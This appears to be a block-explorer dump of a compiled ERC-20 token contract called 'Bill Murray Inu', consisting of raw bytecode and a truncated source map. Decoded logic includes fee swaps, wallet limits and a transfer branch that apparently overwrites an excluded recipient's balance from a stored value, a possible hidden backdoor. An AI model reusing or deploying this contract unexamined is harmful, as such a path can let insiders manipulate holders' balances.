81612ee5565b9050919050565b6000612f3382612a11565b9150612f3e83612a11565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f7357612f72612d30565b5b828201905092915050565b7f4f7665722077616c6c6574206c696d69742e0000000000000000000000000000600082015250565b6000612fb460128361291e565b9150612fbf82612f7e565b602082019050919050565b60006020820190508181036000830152612fe381612fa7565b9050919050565b7f4f766572207472616e73616374696f6e206c696d69742e000000000000000000600082015250565b600061302060178361291e565b915061302b82612fea565b602082019050919050565b6000602082019050818103600083015261304f81613013565b9050919050565b7f4552523a205573696e6720302061646472657373210000000000000000000000600082015250565b600061308c60158361291e565b915061309782613056565b602082019050919050565b600060208201905081810360008301526130bb8161307f565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b600061311e60258361291e565b9150613129826130c2565b604082019050919050565b6000602082019050818103600083015261314d81613111565b9050919050565b600061315f82612bb4565b915060ff820361317257613171612d30565b5b600182019050919050565b600061318882612a11565b915061319383612a11565b9250828210156131a6576131a5612d30565b5b828203905092915050565b60006060820190506131c66000830186612b37565b6131d36020830185612b37565b6131e06040830184612b37565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050613255816129e5565b92915050565b600060208284031215613271576132706129ce565b5b600061327f84828501613246565b91505092915050565b6000819050919050565b60006132ad6132a86132a384613288565b612abd565b612a11565b9050919050565b6132bd81613292565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6132f8816129d3565b82525050565b600061330a83836132ef565b60208301905092915050565b6000602082019050919050565b600061332e826132c3565b61333881856132ce565b9350613343836132df565b8060005b8381101561337457815161335b88826132fe565b975061336683613316565b925050600181019050613347565b5085935050505092915050565b600060a0820190506133966000830188612b37565b6133a360208301876132b4565b81810360408301526133b58186613323565b90506133c46060830185612beb565b6133d16080830184612b37565b9695505050505050565b600060c0820190506133f06000830189612beb565b6133fd6020830188612b37565b61340a60408301876132b4565b61341760608301866132b4565b6134246080830185612e2b565b61343160a0830184612b37565b979650505050505050565b600080600060608486031215613455576134546129ce565b5b600061346386828701612cee565b935050602061347486828701612cee565b925050604061348586828701612cee565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220716bf5e2e9f7c9dd9d26a2ffe7771a0a40fdc572f13dda7cc2de6ab621b0c4ff64736f6c634300080f0033

Deployed Bytecode

0x6080604052600436106101e75760003560e01c806370a0823111610102578063a457c2d711610095578063c7639d8011610064578063c7639d8014610711578063dafd18e91461073c578063dd62ed3e14610779578063df2e38a1146107b6576101ee565b8063a457c2d714610641578063a9059cbb1461067e578063b1cb1582146106bb578063b43665e2146106e6576101ee565b80637d1db4a5116100d15780637d1db4a514610595578063805c0e0f146105c05780638da5cb5b146105eb57806395d89b4114610616576101ee565b806370a08231146104d9578063715018a614610516578063768dc7101461052d57806378109e541461056a576101ee565b8063313ce5671161017a57806349bd5a5e1161014957806349bd5a5e1461042d5780634a74bb021461045857806357fa86081461048357806360317625146104ae576101ee565b8063313ce5671461036f578063395093511461039a5780633f70a495146103d7578063486b46cb14610402576101ee565b806318160ddd116101b657806318160ddd146102b157806321dbd9eb146102dc578063220f66961461030757806323b872dd14610332576101ee565b8063044e7b11146101f357806306fdde031461021e578063095ea7b3146102495780631694505e14610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b506102086107e1565b60405161021591906128f8565b60405180910390f35b34801561022a57600080fd5b50610233610807565b60405161024091906129ac565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190612a47565b610844565b60405161027d9190612aa2565b60405180910390f35b34801561029257600080fd5b5061029b610862565b6040516102a89190612b1c565b60405180910390f35b3480156102bd57600080fd5b506102c6610888565b6040516102d39190612b46565b60405180910390f35b3480156102e857600080fd5b506102f1610892565b6040516102fe9190612b46565b60405180910390f35b34801561031357600080fd5b5061031c610898565b6040516103299190612aa2565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190612b61565b6108ab565b6040516103669190612aa2565b60405180910390f35b34801561037b57600080fd5b50610384610984565b6040516103919190612bd0565b60405180910390f35b3480156103a657600080fd5b506103c160048036038101906103bc9190612a47565b61098d565b6040516103ce9190612aa2565b60405180910390f35b3480156103e357600080fd5b506103ec610a40565b6040516103f99190612b46565b60405180910390f35b34801561040e57600080fd5b50610417610a46565b6040516104249190612b46565b60405180910390f35b34801561043957600080fd5b50610442610a4c565b60405161044f9190612bfa565b60405180910390f35b34801561046457600080fd5b5061046d610a72565b60405161047a9190612aa2565b60405180910390f35b34801561048f57600080fd5b50610498610a85565b6040516104a59190612b46565b60405180910390f35b3480156104ba57600080fd5b506104c3610a8b565b6040516104d09190612b46565b60405180910390f35b3480156104e557600080fd5b5061050060048036038101906104fb9190612c15565b610a91565b60405161050d9190612b46565b60405180910390f35b34801561052257600080fd5b5061052b610ada565b005b34801561053957600080fd5b50610554600480360381019061054f9190612c15565b610b98565b6040516105619190612aa2565b60405180910390f35b34801561057657600080fd5b5061057f610bb8565b60405161058c9190612b46565b60405180910390f35b3480156105a157600080fd5b506105aa610bbe565b6040516105b79190612b46565b60405180910390f35b3480156105cc57600080fd5b506105d5610bc4565b6040516105e291906128f8565b60405180910390f35b3480156105f757600080fd5b50610600610bca565b60405161060d9190612bfa565b60405180910390f35b34801561062257600080fd5b5061062b610bf3565b60405161063891906129ac565b60405180910390f35b34801561064d57600080fd5b5061066860048036038101906106639190612a47565b610c30565b6040516106759190612aa2565b60405180910390f35b34801561068a57600080fd5b506106a560048036038101906106a09190612a47565b610cfd565b6040516106b29190612aa2565b60405180910390f35b3480156106c757600080fd5b506106d0610d1b565b6040516106dd9190612b46565b60405180910390f35b3480156106f257600080fd5b506106fb610d21565b60405161070891906128f8565b60405180910390f35b34801561071d57600080fd5b50610726610d47565b6040516107339190612bfa565b60405180910390f35b34801561074857600080fd5b50610763600480360381019061075e9190612a47565b610d71565b6040516107709190612aa2565b60405180910390f35b34801561078557600080fd5b506107a0600480360381019061079b9190612c42565b610f25565b6040516107ad9190612b46565b60405180910390f35b3480156107c257600080fd5b506107cb610fac565b6040516107d89190612aa2565b60405180910390f35b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606040518060400160405280600f81526020017f42696c6c204d757272617920496e750000000000000000000000000000000000815250905090565b6000610858610851610fbf565b8484610fc7565b6001905092915050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a54905090565b60105481565b601960149054906101000a900460ff1681565b60006108b884848461115b565b610979846108c4610fbf565b6109748560405180606001604052806028815260200161349060289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092a610fbf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118449092919063ffffffff16565b610fc7565b600190509392505050565b60006009905090565b6000610a3661099a610fbf565b84610a3185600660006109ab610fbf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189990919063ffffffff16565b610fc7565b6001905092915050565b600c5481565b600f5481565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60019054906101000a900460ff1681565b60115481565b600e5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60076020528060005260406000206000915054906101000a900460ff1681565b60125481565b60145481565b61dead81565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600f81526020017f42696c6c204d757272617920496e750000000000000000000000000000000000815250905090565b6000610cf3610c3d610fbf565b84610cee856040518060600160405280602581526020016134b86025913960066000610c67610fbf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118449092919063ffffffff16565b610fc7565b6001905092915050565b6000610d11610d0a610fbf565b848461115b565b6001905092915050565b600d5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60003073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd890612cce565b60405180910390fd5b60008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e1c9190612bfa565b602060405180830381865afa158015610e39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5d9190612d03565b9050600060648483610e6f9190612d5f565b610e799190612de8565b90508473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610ed8929190612e3a565b6020604051808303816000875af1158015610ef7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1b9190612e8f565b9250505092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601b60009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110315750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611070576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106790612f08565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114e9190612b46565b60405180910390a3505050565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112005750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615155b601b60006101000a81548160ff021916908315150217905550611221610bca565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561128a575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156112c257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561131c5750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561135b575061132b610bca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156113bf57600061136b83610a91565b9050601254828261137c9190612f28565b11156113bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b490612fca565b60405180910390fd5b505b6113c7610bca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561143557506114056118af565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114745750611444610d47565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114b357506114836118d9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114fe576014548111156114fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f490613036565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115685750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e906130a2565b60405180910390fd5b600081116115ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e190613134565b60405180910390fd5b600b60019054906101000a900460ff1660ff16600b60009054906101000a900460ff1660ff161015801561162b5750601960149054906101000a900460ff16155b80156116855750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561169d5750601b60019054906101000a900460ff165b156116e65760006116ad30610a91565b90506014548111156116bf5760145490505b6000600b60006101000a81548160ff021916908360ff1602179055506116e481611903565b505b6000600190506000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061178f5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561179d5760009150611830565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036117f757600190505b600b600081819054906101000a900460ff168092919061181690613154565b91906101000a81548160ff021916908360ff160217905550505b61183d8585858585611c9e565b5050505050565b600083831115829061188c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188391906129ac565b60405180910390fd5b5082840390509392505050565b600081836118a79190612f28565b905092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6001601960146101000a81548160ff02191690831515021790555060006064601054836119309190612d5f565b61193a9190612de8565b905080600a5461194a919061317d565b600a81905550806005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199d9190612f28565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a2d919061317d565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006064600e5484611a829190612d5f565b611a8c9190612de8565b905060006064600f5485611aa09190612d5f565b611aaa9190612de8565b9050600060c860115486611abe9190612d5f565b611ac89190612de8565b90506000479050611aee838584611adf9190612f28565b611ae99190612f28565b612549565b60008147611afc919061317d565b90506000600f54600e54601154611b139190612f28565b611b1d9190612f28565b6064600e54611b2c9190612d5f565b611b369190612de8565b9050600060648284611b489190612d5f565b611b529190612de8565b90506000600f54600e54601154611b699190612f28565b611b739190612f28565b6064600f54611b829190612d5f565b611b8c9190612de8565b9050600060648286611b9e9190612d5f565b611ba89190612de8565b9050611bca87828588611bbb919061317d565b611bc5919061317d565b61278c565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56187828588611bf9919061317d565b611c03919061317d565b89604051611c13939291906131b1565b60405180910390a1611c47600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461286c565b479450611c76600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168661286c565b505050505050505050506000601960146101000a81548160ff02191690831515021790555050565b601b60009054906101000a900460ff1615611e4d5782600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfe919061317d565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546001601654611d92919061317d565b611d9c919061317d565b905080600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611e3f9190612b46565b60405180910390a350612542565b816120225782600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9d919061317d565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2b9190612f28565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611fcb9190612b46565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361201d5782600a54612016919061317d565b600a819055505b612541565b80156122b65760006064600c548561203a9190612d5f565b6120449190612de8565b905060008185612054919061317d565b905084600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a1919061317d565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461212f9190612f28565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bd9190612f28565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161225d9190612b46565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036122af5780600a546122a8919061317d565b600a819055505b5050612540565b60006064600d54856122c89190612d5f565b6122d29190612de8565b9050600081856122e2919061317d565b905084600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461232f919061317d565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bd9190612f28565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244b9190612f28565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124eb9190612b46565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361253d5780600a54612536919061317d565b600a819055505b50505b5b5b5050505050565b6000600267ffffffffffffffff811115612566576125656131e8565b5b6040519080825280602002602001820160405280156125945781602001602082028036833780820191505090505b50905030816000815181106125ac576125ab613217565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612653573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612677919061325b565b8160018151811061268b5761268a613217565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126f230601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc7565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612756959493929190613381565b600060405180830381600087803b15801561277057600080fd5b505af1158015612784573d6000803e3d6000fd5b505050505050565b6127b930601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc7565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401612822969594939291906133db565b60606040518083038185885af1158015612840573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612865919061343c565b5050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156128b2573d6000803e3d6000fd5b505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128e2826128b7565b9050919050565b6128f2816128d7565b82525050565b600060208201905061290d60008301846128e9565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561294d578082015181840152602081019050612932565b8381111561295c576000848401525b50505050565b6000601f19601f8301169050919050565b600061297e82612913565b612988818561291e565b935061299881856020860161292f565b6129a181612962565b840191505092915050565b600060208201905081810360008301526129c68184612973565b905092915050565b600080fd5b60006129de826128b7565b9050919050565b6129ee816129d3565b81146129f957600080fd5b50565b600081359050612a0b816129e5565b92915050565b6000819050919050565b612a2481612a11565b8114612a2f57600080fd5b50565b600081359050612a4181612a1b565b92915050565b60008060408385031215612a5e57612a5d6129ce565b5b6000612a6c858286016129fc565b9250506020612a7d85828601612a32565b9150509250929050565b60008115159050919050565b612a9c81612a87565b82525050565b6000602082019050612ab76000830184612a93565b92915050565b6000819050919050565b6000612ae2612add612ad8846128b7565b612abd565b6128b7565b9050919050565b6000612af482612ac7565b9050919050565b6000612b0682612ae9565b9050919050565b612b1681612afb565b82525050565b6000602082019050612b316000830184612b0d565b92915050565b612b4081612a11565b82525050565b6000602082019050612b5b6000830184612b37565b92915050565b600080600060608486031215612b7a57612b796129ce565b5b6000612b88868287016129fc565b9350506020612b99868287016129fc565b9250506040612baa86828701612a32565b9150509250925092565b600060ff82169050919050565b612bca81612bb4565b82525050565b6000602082019050612be56000830184612bc1565b92915050565b612bf4816129d3565b82525050565b6000602082019050612c0f6000830184612beb565b92915050565b600060208284031215612c2b57612c2a6129ce565b5b6000612c39848285016129fc565b91505092915050565b60008060408385031215612c5957612c586129ce565b5b6000612c67858286016129fc565b9250506020612c78858286016129fc565b9150509250929050565b7f43616e206e6f742072656d6f7665206e617469766520746f6b656e0000000000600082015250565b6000612cb8601b8361291e565b9150612cc382612c82565b602082019050919050565b60006020820190508181036000830152612ce781612cab565b9050919050565b600081519050612cfd81612a1b565b92915050565b600060208284031215612d1957612d186129ce565b5b6000612d2784828501612cee565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d6a82612a11565b9150612d7583612a11565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612dae57612dad612d30565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612df382612a11565b9150612dfe83612a11565b925082612e0e57612e0d612db9565b5b828204905092915050565b6000612e2482612ae9565b9050919050565b612e3481612e19565b82525050565b6000604082019050612e4f6000830185612e2b565b612e5c6020830184612b37565b9392505050565b612e6c81612a87565b8114612e7757600080fd5b50565b600081519050612e8981612e63565b92915050565b600060208284031215612ea557612ea46129ce565b5b6000612eb384828501612e7a565b91505092915050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b6000612ef260118361291e565b9150612efd82612ebc565b602082019050919050565b60006020820190508181036000830152612f2181612ee5565b9050919050565b6000612f3382612a11565b9150612f3e83612a11565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f7357612f72612d30565b5b828201905092915050565b7f4f7665722077616c6c6574206c696d69742e0000000000000000000000000000600082015250565b6000612fb460128361291e565b9150612fbf82612f7e565b602082019050919050565b60006020820190508181036000830152612fe381612fa7565b9050919050565b7f4f766572207472616e73616374696f6e206c696d69742e000000000000000000600082015250565b600061302060178361291e565b915061302b82612fea565b602082019050919050565b6000602082019050818103600083015261304f81613013565b9050919050565b7f4552523a205573696e6720302061646472657373210000000000000000000000600082015250565b600061308c60158361291e565b915061309782613056565b602082019050919050565b600060208201905081810360008301526130bb8161307f565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b600061311e60258361291e565b9150613129826130c2565b604082019050919050565b6000602082019050818103600083015261314d81613111565b9050919050565b600061315f82612bb4565b915060ff820361317257613171612d30565b5b600182019050919050565b600061318882612a11565b915061319383612a11565b9250828210156131a6576131a5612d30565b5b828203905092915050565b60006060820190506131c66000830186612b37565b6131d36020830185612b37565b6131e06040830184612b37565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050613255816129e5565b92915050565b600060208284031215613271576132706129ce565b5b600061327f84828501613246565b91505092915050565b6000819050919050565b60006132ad6132a86132a384613288565b612abd565b612a11565b9050919050565b6132bd81613292565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6132f8816129d3565b82525050565b600061330a83836132ef565b60208301905092915050565b6000602082019050919050565b600061332e826132c3565b61333881856132ce565b9350613343836132df565b8060005b8381101561337457815161335b88826132fe565b975061336683613316565b925050600181019050613347565b5085935050505092915050565b600060a0820190506133966000830188612b37565b6133a360208301876132b4565b81810360408301526133b58186613323565b90506133c46060830185612beb565b6133d16080830184612b37565b9695505050505050565b600060c0820190506133f06000830189612beb565b6133fd6020830188612b37565b61340a60408301876132b4565b61341760608301866132b4565b6134246080830185612e2b565b61343160a0830184612b37565b979650505050505050565b600080600060608486031215613455576134546129ce565b5b600061346386828701612cee565b935050602061347486828701612cee565b925050604061348586828701612cee565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220716bf5e2e9f7c9dd9d26a2ffe7771a0a40fdc572f13dda7cc2de6ab621b0c4ff64736f6c634300080f0033

Deployed Bytecode Sourcemap

14067:13045:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15149:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18101:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18944:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16236:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18378:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15862:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16371:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19113:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18287:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19434:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15703:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15824:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16336:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16480:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15900:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15780:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18481:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14672:138;;;;;;;;;;;;;:::i;:::-;;14987:51;;;;;;;;;;;;;;;;;;;;;;;:::i;: